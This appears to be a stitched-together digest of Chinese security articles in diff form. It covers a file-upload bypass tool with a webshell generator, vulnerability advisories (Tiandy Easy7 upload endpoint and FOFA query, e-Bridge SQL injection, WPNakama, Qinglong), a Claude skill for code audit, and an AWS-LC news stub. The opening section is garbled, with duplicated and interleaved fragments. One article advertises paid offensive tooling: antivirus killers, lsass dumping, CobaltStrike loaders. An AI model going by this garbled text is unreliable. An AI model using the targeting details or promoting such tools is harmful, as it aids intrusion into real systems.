**专业的文件上传漏洞检测工具，支持263+绕过技术、代理抓包、动态扫描**
|
||||
|
||||
|
||||
## 功能特性
|
||||
- **智能扫描**
|
||||
：自动检测上传点，分析响应内容
|
||||
|
||||
## 0x02 功能特性
|
||||
|
||||
|
||||
- **代理抓包**
|
||||
：内置 HTTP/HTTPS 代理，支持拦截、修改、重放
|
||||
**智能扫描**
|
||||
：自动
|
||||
检测上传点
|
||||
，分析响应内容
|
||||
|
||||
|
||||
- **Repeater**
|
||||
：手动重放请求，调试绕过技术
|
||||
|
||||
**代理抓包**
|
||||
：内置 H
|
||||
TTP/HTT
|
||||
PS 代理，支持拦截、修改、重放
|
||||
|
||||
|
||||
|
||||
- **Intruder**
|
||||
**Repeater**
|
||||
：手动
|
||||
重放请求，调试绕过
|
||||
技术
|
||||
|
||||
|
||||
|
||||
**Intrud****er**
|
||||
：自动化爆破，支持多种攻击模式
|
||||
|
||||
|
||||
- **263+ 绕过技术**
|
||||
：支持各种文件类型绕过、Content-Type 绕过、WAF 绕过等
|
||||
|
||||
|
||||
|
||||
- **Payload生成器**
|
||||
：支持WebShell、Polyglot等多种载荷生成
|
||||
**263+ 绕过技术**
|
||||
：支持各种文件类型绕过
|
||||
、Conten
|
||||
t-Type 绕过、WAF 绕过等
|
||||
|
||||
|
||||
- **暗色主题**
|
||||
：现代化 UI 设计，长时间使用不疲劳
|
||||
|
||||
|
||||
## 安装
|
||||
**Payload生成器**
|
||||
：支持W
|
||||
ebSh
|
||||
ell、Polyglot等多种载荷生成
|
||||
|
||||
|
||||
****
|
||||
**暗色主题：现代化 UI 设计，长时间使用不疲劳**
|
||||
|
||||
## 0x03 安装
|
||||
### 环境要求
|
||||
- Python 3.8+
|
||||
|
||||
- Windows / Linux / macOS
|
||||
|
||||
### 安装依赖
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
|
||||
```
|
||||
|
||||
或者手动安装：
|
||||
```
|
||||
pip install "httpx[http2,brotli]>=0.24.0"
|
||||
pip install "httpcore[asyncio]>=0.17.0"
|
||||
pip install mitmproxy>=10.0.0
|
||||
pip install PySide6>=6.4.0
|
||||
pip install beautifulsoup4>=4.11.0
|
||||
pip install Pillow>=9.0.0
|
||||
pip install lxml>=4.9.0
|
||||
|
||||
pip install "httpx[http2,brotli]>=0.24.0"pip install "httpcore[asyncio]>=0.17.0"pip install mitmproxy>=10.0.0pip install PySide6>=6.4.0pip install beautifulsoup4>=4.11.0pip install Pillow>=9.0.0pip install lxml>=4.9.0
|
||||
```
|
||||
### 运行程序
|
||||
```
|
||||
python main.py
|
||||
|
||||
```
|
||||
|
||||
或者双击运行 UploadRanger.bat
|
||||
(Windows) 或 UploadRanger.sh
|
||||
(Linux/macOS)
|
||||
## 工具下载
|
||||
```
|
||||
https://github.com/Gentle-bae/UploadRanger/tree/main
|
||||
|
||||
```
|
||||
## 网络安全情报攻防站
|
||||
- Python 3.8+
|
||||
|
||||
www.libaisec.com
|
||||
- Windows / Linux / macOS
|
||||
|
||||
综合性的技术交流与资源共享社区
|
||||
## 0x04 工具下载
|
||||
|
||||
专注于红蓝对抗、攻防渗透、威胁情报、数据泄露
|
||||
**点****击关注**
|
||||
**下方名片****进入公众号**
|
||||
|
||||
|
||||
**回复关键字【260305****】获取**
|
||||
**下载链接**
|
||||
|
||||
|
||||
|
||||
最后推荐一下内部
|
||||
小
|
||||
密圈，干货满满，物超所值，**内部圈子每增加100人，价格将上涨20元，越早进越优惠！！！**
|
||||
|
||||
****
|
||||
@@ -0,0 +1,84 @@
|
||||
# 天地伟业Easy7 uploadMapServerBgImage接口存在任意文件上传漏洞 附POC
|
||||
2026-3-5更新
|
||||
2026-3-5更新 南风漏洞复现文库 2026-03-05 15:34
|
||||
|
||||
|
||||
|
||||
|
||||
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
|
||||
## 1. 天地伟业简介
|
||||
|
||||
微信公众号搜索：南风漏洞复现文库
|
||||
该文章 南风漏洞复现文库 公众号首发
|
||||
|
||||
本人只有 南风漏洞复现文库 和 南风网络安全
|
||||
这两个公众号，其他公众号有意冒充，请注意甄别，避免上当受骗。
|
||||
|
||||
天地伟业Easy7
|
||||
## 2.漏洞描述
|
||||
|
||||
天地伟业Easy7 uploadMapServerBgImage接口存在任意文件上传漏洞，攻击者可上传任意文件导致服务器被控制。
|
||||
|
||||
CVE编号:
|
||||
|
||||
CNNVD编号:
|
||||
|
||||
CNVD编号:
|
||||
## 3.影响版本
|
||||
|
||||
天地伟业Easy7
|
||||
|
||||
|
||||
天地伟业Easy7 uploadMapServerBgImage接口存在任意文件上传漏洞
|
||||
## 4.fofa查询语句
|
||||
|
||||
app="Tiandy-Easy7"
|
||||
## 5.漏洞复现
|
||||
|
||||
漏洞链接：
|
||||
http://xx.xx.xx.xx/Easy7/rest/file/uploadMapServerBgImage
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
访问上传的文件
|
||||
|
||||
|
||||
|
||||
## 6.POC&EXP
|
||||
|
||||
本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全
|
||||
1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。
|
||||
2: 免登录，免费fofa查询。
|
||||
3: 更新其他实用网络安全工具项目。
|
||||
4: 免费指纹识别，持续更新指纹库。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 7.整改意见
|
||||
|
||||
打补丁
|
||||
## 8.往期回顾
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,148 @@
|
||||
# 攻防演练神器 | 一键检测Struts2/Shiro/Log4j等主流漏洞
|
||||
pureqh
|
||||
pureqh 星落安全团队 2026-03-05 16:01
|
||||
|
||||
|
||||
|
||||
点击上方
|
||||
蓝字
|
||||
关注我们
|
||||
|
||||
|
||||
|
||||
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家能把
|
||||
**星落安全团队**
|
||||
“
|
||||
**设为星标**
|
||||
”，
|
||||
否则可能就看不到了啦
|
||||
！
|
||||
|
||||
【
|
||||
声明
|
||||
】本文所涉及的技术、思路和工具仅用于安全测试和防御研究，切勿将其用于非法入侵或攻击他人系统以及盈利等目的，一切后果由操作者自行承担！！！
|
||||
|
||||
|
||||
|
||||
**背景介绍**
|
||||
|
||||
hyacinth
|
||||
一款java漏洞集合工具。之前攻防的时候，总是需要打开多个jar包，觉得很麻烦，就做了一款集合工具。
|
||||
|
||||
其中包含Struts2、Fastjson、Weblogic（xml）、Shiro、Log4j、Jboss、SpringCloud、等漏洞检测利用模块，及免杀webshell生成模块 Bypass、以及一些小工具模块等，由于图形化比较简明易懂，所以也不需要使用说明吧 。
|
||||
|
||||
注：开发环境8u181，此版本可稳定运行，太高 如8u281会出现部分功能失效，如shiro的链爆破，如果发现有问题，可通过cmd运行jar包观察报错，大部分是因为jdk版本导致的
|
||||
|
||||
工具截图
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**相关地址**
|
||||
|
||||
**关注微信公众号后台回复“入群”，即可进入星落安全交流群！**
|
||||
|
||||
关注微信公众号后台回复“
|
||||
20260306
|
||||
**”，即可获取项目下载地址！**
|
||||
|
||||
****
|
||||
|
||||
****
|
||||
**圈子介绍**
|
||||
|
||||
博主介绍
|
||||
：
|
||||
|
||||
|
||||
目前工作在某安全公司攻防实验室，一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练，擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
|
||||
|
||||
|
||||
目前已经更新的免杀内容：
|
||||
- 部分免杀项目源代码
|
||||
|
||||
- 星落安全内部免杀工具箱1.2.1
|
||||
|
||||
- GoCobaltStrike星落专版2.0
|
||||
|
||||
- 一键击溃windows defender
|
||||
|
||||
- 一键击溃火绒进程
|
||||
|
||||
-
|
||||
CobaltStrike免杀加载器
|
||||
|
||||
- 数据库直连工具免杀版
|
||||
|
||||
- aspx文件自动上线cobaltbrike
|
||||
|
||||
- jsp文件
|
||||
自动上线cobaltbrike
|
||||
|
||||
- 哥斯拉免杀工具
|
||||
XlByPassGodzilla
|
||||
|
||||
- 冰蝎免杀工具 XlByPassBehinder
|
||||
|
||||
- 冰蝎星落专版 xlbehinder
|
||||
|
||||
- 正向代理工具 xleoreg
|
||||
|
||||
- 反向代理工具xlfrc
|
||||
|
||||
- 内网扫描工具 xlscan
|
||||
|
||||
- Todesk/向日葵密码读取工具
|
||||
|
||||
- 导出lsass内存工具 xlrls
|
||||
|
||||
- 绕过WAF免杀工具 ByPassWAF
|
||||
|
||||
- 等等...
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
目前星球已满1100人，价格由208元
|
||||
调整为
|
||||
218元(
|
||||
交个朋友啦
|
||||
)，1200名以后涨价至268元。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
|
||||
|
||||
1.[加量不加价 | 星落免杀第二期，助你打造专属免杀武器库](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247495969&idx=1&sn=d3379e8f69c2cefb6d0564299e13d579&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
2.[【干货】你不得不学习的内网渗透手法](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489483&idx=1&sn=0cbeb449e56db1ae48abfb924ffd0b43&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
3.[新增全新Web UI版本，操作与管理全面升级 | GoCobalt Strike 2.0正式发布！](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247497899&idx=1&sn=018f02ef4064930cbcb40d6b0495e136&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
4.[【免杀】原来SQL注入也可以绕过杀软执行shellcode上线CoblatStrike](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489950&idx=1&sn=a54e05e31a2970950ad47800606c80ff&chksm=c0e2b221f7953b37b5d7b1a8e259a440c1ee7127d535b2c24a5c6c2f2e773ac2a4df43a55696&scene=21&token=458856676&lang=zh_CN#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,129 @@
|
||||
# 漏洞情报(已验证) | 0Day泛微云桥e-Bridge系统存在SQL注入漏洞
|
||||
原创 wdgs
|
||||
wdgs WDCIA 2026-03-06 00:02
|
||||
|
||||
动动小手
|
||||
|
||||
|
||||
|
||||
点个
|
||||
关注
|
||||
～
|
||||
|
||||
|
||||
|
||||
|
||||
内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的POC信息及POC对应脚本而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号WDCIA及作者不为此承担任何责任，一旦造成后果请自行承担！
|
||||
|
||||
如文章有侵权烦请及时告知，我们会立即删除文章并致歉。谢谢！
|
||||
|
||||
|
||||
|
||||
|
||||
#
|
||||
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞介绍**
|
||||
|
||||
|
||||
|
||||
|
||||
泛微云桥e-Bridge系统
|
||||
sendWxMsg接口
|
||||
存在SQL注入漏洞
|
||||
，
|
||||
未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。
|
||||
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**影响版本**
|
||||
```
|
||||
未知
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**测绘语法**
|
||||
|
||||
|
||||
测绘语句:
|
||||
```
|
||||
关注公众号，回复 泛微云桥 获取
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**POC**
|
||||
|
||||
|
||||
|
||||
|
||||
POC已放置圈子
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
圈子
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
圈子刚刚成立，专注于漏洞情报分享，不发烂大街的东西，不定时分享红队工具，欢迎加入，每日更新1-2个 0/1 Day（目前已更新100+）
|
||||
|
||||
圈子新人优惠券已发放完，后期不定时发送，价格随人数增加而增加
|
||||
|
||||
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
[【全网首发】2025 0/1/N Day漏洞清单（超长版）](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484042&idx=1&sn=d0f6bdbd5bc1f30cd0667253c937f9b5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 中成科信票务管理系统 SaleProduct.ashx SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484042&idx=2&sn=863b496938c2fb0ccfa366179c45c013&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【40万POC？？？】小场面，看纽克如何拿捏海量POC场景](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484042&idx=3&sn=dbaa55fe300b1d232ddc712360f08ff0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 深科特LEAN MES系统FileSync.ashx 存在文件读取漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484028&idx=1&sn=8c945921aa41873acc18a6515b554d21&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 时空智友企业流程化管控系统formservice 存在 XXE漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484018&idx=1&sn=141c8cfdd99ea23c90b70ac1b4d761d2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【已复现】| 帆软export/excel sql注入](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484013&idx=1&sn=514d45521e2166d6f28f10eee4417bef&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【已复现】| GeoServer 未授权XXE漏洞(CVE-2025-58360)](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484006&idx=1&sn=4afee46de06596f891b173b27918ea41&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞预警（已复现）| 用友 U8 Cloud NCCloudGatewayServlet存在命令执行漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483940&idx=1&sn=c19e2a3e2ae9f433070ce965cbfd87d4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞复现 | 用友 U8 Cloud 文件上传绕过漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483895&idx=1&sn=d0bbaa35a7ea04d8a63b8c56285ca8b0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞预警已复现| 0 Day 力软敏捷开发框架***********ad存在任意文件上传漏洞(非CrawlerHandler)](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483887&idx=1&sn=a00974871b90a9d61f0867e8544f6d94&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# 漏洞预警 | WordPress plugin WPNakama SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-03-05 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2025-14068
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
WPNakama是一款原生集成在WordPress仪表盘内的项目和团队协作插件。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**CVE-2025-14068**
|
||||
|
||||
**漏洞类型：**
|
||||
SQL注入****
|
||||
|
||||
**影响：**
|
||||
|
||||
获取敏感信息
|
||||
|
||||
|
||||
****
|
||||
|
||||
**简述：**
|
||||
WPNakama存在SQL注入漏洞，由于对用户提供参数清理不当，且对现有SQL预处理不足，攻击者可利用该漏洞通过order_by参数注入SQL，在现有查询中附加额外的SQL查询，并从数据库中提取敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- WordPress WPNakama plugin <= 0.6.3
|
||||
|
||||
**0x05****POC状态**
|
||||
- 未公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://cn.wordpress.org/plugins/wpnakama/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# 漏洞预警 | 大蚂蚁即时通讯系统SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-03-05 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
杭州九麒科技大蚂蚁即时通讯系统是一款企业级IM通信管理系统，提供多种功能支持。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**漏洞类型：**
|
||||
SQL注入
|
||||
|
||||
**影响：**
|
||||
获取敏感信息
|
||||
|
||||
**简述：**
|
||||
大蚂蚁即时通讯系统的
|
||||
/api/user/updateLoginName
|
||||
接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- BigAnt >= 5.5.x
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
****
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.bigant.cn/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# 漏洞预警 | 青龙面板身份认证绕过漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-03-05 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # QVD-2026-10895
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
青龙是一款开源的定时任务管理与脚本自动化运行平台，支持JavaScript、Shell、Python等多种脚本语言。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**QVD-2026-10895**
|
||||
|
||||
**漏洞类型：**
|
||||
身份认证绕过
|
||||
|
||||
**影响：**
|
||||
越权操作
|
||||
|
||||
**简述：**
|
||||
青龙面板存在身份认证绕过漏洞，攻击者可通过路径大小写变体绕过认证访问受保护接口，通过/open/user/init路径在已初始化的系统上绕过认证并重置用户凭证，从而获得未授权访问权限，并在服务器上执行任意系统命令，最终完全控制目标设备。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 青龙面板 < v2.20.2
|
||||
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://github.com/whyour/qinglong/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# 用 Claude 把 GitHub 漏洞数据库变成代码审计 Skill
|
||||
原创 yhy0
|
||||
yhy0 谁不想当剑仙 2026-03-05 15:41
|
||||
|
||||
> 让 Claude 自动将 GitHub 公开漏洞数据库转化为代码审计专用的结构化安全技能（Skills）
|
||||
|
||||
## 起因
|
||||
|
||||
我前段时间做了一个叫纯钧（ChunJun）的 AI 代码审计系统。系统架构上做了不少工作——预扫描、CodeQL、Agent 多阶段验证、对抗反思——但审计效果始终不够理想。
|
||||
|
||||
反思了一下，猜测一个可能的原因：**我给 Agent 的只是通用的代码审计思路，它可能还需要一份更具体的漏洞模式知识作为技能。**
|
||||
|
||||
比如 SQL 注入，Agent 能依赖的大概就是通用认知——「cursor.execute()
|
||||
使用 f-string 拼接用户输入」。但翻一翻 GitHub Advisory Database 就会发现，真实世界中开发者踩的坑远比这复杂得多：
|
||||
- asyncmy 通过 dict keys 注入——库只转义 value 不转义 key（CVE-2025-65896）
|
||||
|
||||
- ormar 通过 ORM 聚合函数 min()
|
||||
/max()
|
||||
注入——开发者以为 ORM 就是安全的（CVE-2026-26198）
|
||||
|
||||
- LLM 框架直接拼接用户 prompt 进 SQL——AI 时代的新攻击面（CVE-2024-12909）
|
||||
|
||||
这些是**开发者真实会犯的错误**
|
||||
，也是**安全研究人员发现的巧妙绕过思路**
|
||||
。它们被记录在 GitHub Advisory Database 里，大部分都包含了根因分析、修复 commit、CWE 分类等完整信息。
|
||||
|
||||
光 Python 生态，CRITICAL + HIGH 级别就有 **3,777 条**
|
||||
，其中 CVSS >= 8.0 的有 **946 条**
|
||||
。
|
||||
|
||||
这些都是安全研究人员的成果。但让人一条条去看、分析、提炼？几千条，不现实。
|
||||
|
||||
所以想法很简单：**让 Claude 来干这件事——自动拉取、分析、结构化，生成 Agent 能用的安全技能。**
|
||||
## 思路
|
||||
|
||||
拿到这些漏洞数据后，怎么让它们对代码审计真正有用？
|
||||
|
||||
最简单的做法是做成知识库，用 RAG 检索——但这不是我这次想做的。我想要的是**更主动的方式**
|
||||
：把漏洞模式提炼成结构化的检测规则，作为 Claude Code Skill 直接加载到 Agent 的工作流中。
|
||||
|
||||
核心思路是 **按漏洞原语（Vulnerability Primitive）聚合**
|
||||
：
|
||||
|
||||
946 条漏洞不会生成 946 个 Skill。同一种 Source→Sink 模式的漏洞归到同一组，提炼出通用的检测策略，具体 CVE 只是作为案例来佐证。当前已生成 6 个 Skill（注入、路径遍历、认证绕过、反序列化、SSRF、XSS），包含 44 个真实案例。
|
||||
|
||||
每个 Skill 核心回答一个问题：**在一个完全陌生的代码库中，怎么系统性地找到这类漏洞？**
|
||||
|
||||
不是「这个漏洞是什么」，而是「这类漏洞怎么找」。安全研究员的分析思路和绕过手法，才是最有价值的部分。
|
||||
## 生成的 Skill 长什么样
|
||||
|
||||
每个 Skill 分两层，渐进式加载：
|
||||
|
||||
**第一层：Detection Strategy（检测策略）**
|
||||
——Agent 审计时首先加载，定义这类漏洞的通用检测模型。
|
||||
```
|
||||
## Detection StrategySources（用户输入入口）：- request.args, request.json, request.form- tool_call.arguments（MCP/Agent 场景）- 配置文件中用户可控的字段Sinks（危险函数）：- cursor.execute(), engine.execute()- Model.objects.extra(where=...), Model.objects.raw()- asyncmy/PyMySQL 的 dict 参数传递Sanitization（安全屏障）：- 参数化查询 (cursor.execute(sql, params))- ORM 标准查询方法（filter/exclude/get）检测路径：1. 搜索 sink 调用2. 回溯数据流，检查参数是否来自 source3. 验证路径上是否存在有效 sanitization4. 无 sanitization → 标记为候选漏洞
|
||||
```
|
||||
|
||||
**第二层：Real-World Cases（真实案例）**
|
||||
——Agent 需要深入验证时按需加载。每个 Case 从真实 GHSA/CVE 的 patch diff 中提炼，包含完整的攻击链分析：
|
||||
```
|
||||
### Case N: [package] — [漏洞模式] (CVE-xxxx-yyyy, CVSS x.x)Root Cause: [一句话根因]Source → Sink 路径:- Source: request.form["package"]- Sink: os.path.join() + open()- Sanitization Gap: replace() 不处理 ".." 序列Vulnerable Code Pattern (affected-file.py): # 5-15 行真实漏洞代码Attack Path: 1. 攻击者通过 [source] 注入 [payload] 2. 数据经过 [中间处理] 3. 到达 [sink]，触发 [危害]Why Standard Scanners Miss It:- CodeQL: [具体原因]- Bandit: [具体原因]How to Detect: 1. 定位 Sink → 2. 回溯 Source → 3. 验证 Sanitization
|
||||
```
|
||||
|
||||
这种两层结构让 Agent 审计时**先用轻量的检测策略快速扫一遍，发现可疑点再加载具体案例深入确认**
|
||||
——而不是把几千条漏洞全塞进上下文。
|
||||
## 它怎么工作
|
||||
|
||||
ghsa-skill-builder 是一个 Claude Code Skill。放到 .claude/skills/
|
||||
目录下，对 Claude 说一句话就能触发完整流程：
|
||||
```
|
||||
拉取最近三年 Python 高危漏洞，生成代码审计 skills
|
||||
```
|
||||
|
||||
Claude 会自动执行：
|
||||
|
||||
**全量拉取**
|
||||
→ 调用 GitHub Advisory API，分页遍历指定生态的所有漏洞。支持 PIP、GO、NPM 等 7 种生态，支持按时间范围、CVSS 分数过滤。
|
||||
|
||||
**拉取完整详情**
|
||||
→ 对每条漏洞调用 REST API 获取完整的漏洞描述和 patch commit URL。
|
||||
|
||||
**分析漏洞模式**
|
||||
→ 按 CWE 分组，获取 patch diff，提取漏洞代码模式和安全研究员的发现思路。
|
||||
|
||||
**生成结构化 Skill**
|
||||
→ 输出 vuln-patterns-*/SKILL.md
|
||||
，包含检测策略和真实案例。
|
||||
|
||||
也支持增量检查——定期跑一下，看看有没有新的高危漏洞需要补充到现有 Skill 中：
|
||||
```
|
||||
帮我检查一下漏洞 skills 是否需要更新
|
||||
```
|
||||
## 数据洞察
|
||||
|
||||
拉取 Python 生态全量数据后，一些有意思的发现：
|
||||
|
||||
**946 条高危漏洞的 CWE 分布 Top 5：**
|
||||
代码注入（CWE-94）107 条、反序列化（CWE-502）86 条、路径遍历（CWE-22）81 条、输入验证（CWE-20）59 条、命令注入（CWE-78）46 条。
|
||||
|
||||
**AI/LLM 框架漏洞正在爆发。**
|
||||
langchain、vllm、smolagents、langflow、bentoml 等 AI 框架贡献了大量 CVSS 10.0 的漏洞——MCP 工具命令注入（terminal-controller
|
||||
，CVSS 10.0）、Agent 沙箱逃逸（smolagents
|
||||
，CVSS 9.9）、AI 框架反序列化（vllm
|
||||
，CVSS 10.0）。**CVSS 满分漏洞中，AI/LLM 相关的挺多的。**
|
||||
|
||||
这也是我觉得这个工具有价值的原因之一：AI 安全是一个快速变化的领域，新的攻击面不断出现，靠人工逐条跟踪效率很低。
|
||||
## 快速开始
|
||||
### 前置条件
|
||||
- Claude Code CLI（任何支持 skills 的Agent）
|
||||
|
||||
- GitHub CLI（gh
|
||||
，已认证，脚本会自动检测认证状态）
|
||||
|
||||
- Python 3.9+、jq
|
||||
|
||||
- **推荐**
|
||||
: superpowers 插件 — 其中的 writing-skills
|
||||
技能可确保生成的 Skills 符合质量规范（/plugin install superpowers@superpowers-marketplace
|
||||
）
|
||||
|
||||
### 安装
|
||||
```
|
||||
# 克隆到项目的 .claude/skills/ 目录cd your-projectmkdir -p .claude/skillsgit clone https://github.com/yhy0/ghsa-skill-builder.git .claude/skills/ghsa-skill-builder# 或克隆到全局 skills 目录（所有项目共享）git clone https://github.com/yhy0/ghsa-skill-builder.git ~/.claude/skills/ghsa-skill-builder
|
||||
```
|
||||
### 使用
|
||||
|
||||
在 Claude Code 中直接说：
|
||||
```
|
||||
拉取最近三年 Python 高危漏洞，生成代码审计 skills拉取 Go 生态 CVSS >= 9 的漏洞，生成审计 skills帮我检查一下漏洞 skills 是否需要更新分析 GHSA-qhqw-rrw9-25rm 并加到对应的 skill 中
|
||||
```
|
||||
|
||||
脚本也可以独立使用：
|
||||
```
|
||||
# 全量拉取 Python 生态索引python3 scripts/fetch_ghsa.py PIP --since 3y# 拉取注入类漏洞的完整详情python3 scripts/fetch_details.py data/pip.json --cwe "77|78|89|94"# 增量检查python3 scripts/fetch_ghsa.py PIP --diff# 支持 7 种生态: PIP | GO | NPM | MAVEN | NUGET | RUBYGEMS | RUST
|
||||
```
|
||||
## 项目结构
|
||||
```
|
||||
ghsa-skill-builder/├── SKILL.md # Claude 的完整工作手册├── scripts/│ ├── fetch_ghsa.py # 全量拉取索引（GraphQL 分页）│ ├── fetch_details.py # 拉取完整详情（REST API）│ ├── fetch_ghsa.sh # 轻量快速查询（备选）│ ├── check_existing_skills.py # 校验已有 skills 的覆盖状态│ └── _common.py # 公共工具（认证检查等）├── references/│ ├── skill-structure.md # vuln-patterns skill 的结构规范│ └── case-template.md # 单个漏洞 Case 的格式模板├── output/ # 生成的 Skills（可直接复制到目标项目使用）│ ├── vuln-patterns-injection/│ ├── vuln-patterns-path-traversal/│ ├── vuln-patterns-auth-bypass/│ ├── vuln-patterns-deserialization/│ ├── vuln-patterns-ssrf/│ └── vuln-patterns-xss/└── data/ # 漏洞索引和详情的本地缓存 └── {ecosystem}.json
|
||||
```
|
||||
## 局限性
|
||||
- **依赖 Claude 的分析质量**
|
||||
— 生成的 Skill 质量取决于 Claude 对 patch diff 的理解能力，建议人工抽查验证
|
||||
|
||||
- **Skill 需要持续更新**
|
||||
— 新漏洞不断出现，建议定期执行增量检查（--diff
|
||||
）
|
||||
|
||||
- **案例覆盖度有限**
|
||||
— 当前已完成 Python 的 6 类 Skill（injection、path-traversal、auth-bypass、deserialization、ssrf、xss），共 44 个案例，其他类别（如 crypto）待补充
|
||||
|
||||
> 以及最主要的当前生成的各种 Skills 真实效果未知，需要测试
|
||||
|
||||
|
||||
项目地址：
|
||||
https://github.com/yhy0/ghsa-skill-builder
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# 破解云端加密：亚马逊 AWS-LC 库中发现未经身份验证的绕过漏洞
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-03-06 01:08
|
||||
|
||||
网络安全研究人员在亚马逊的开源加密库 AWS-LC 中发现了三个重大漏洞。AWS-LC 被广泛应用于亚马逊的云基础设施和全球服务中。这些漏洞包括高危验证绕过漏洞和微妙的时序侧信道攻击，可能允许未经身份验证的攻击者破坏加密通信或验证伪造的数字签名。
|
||||
|
||||
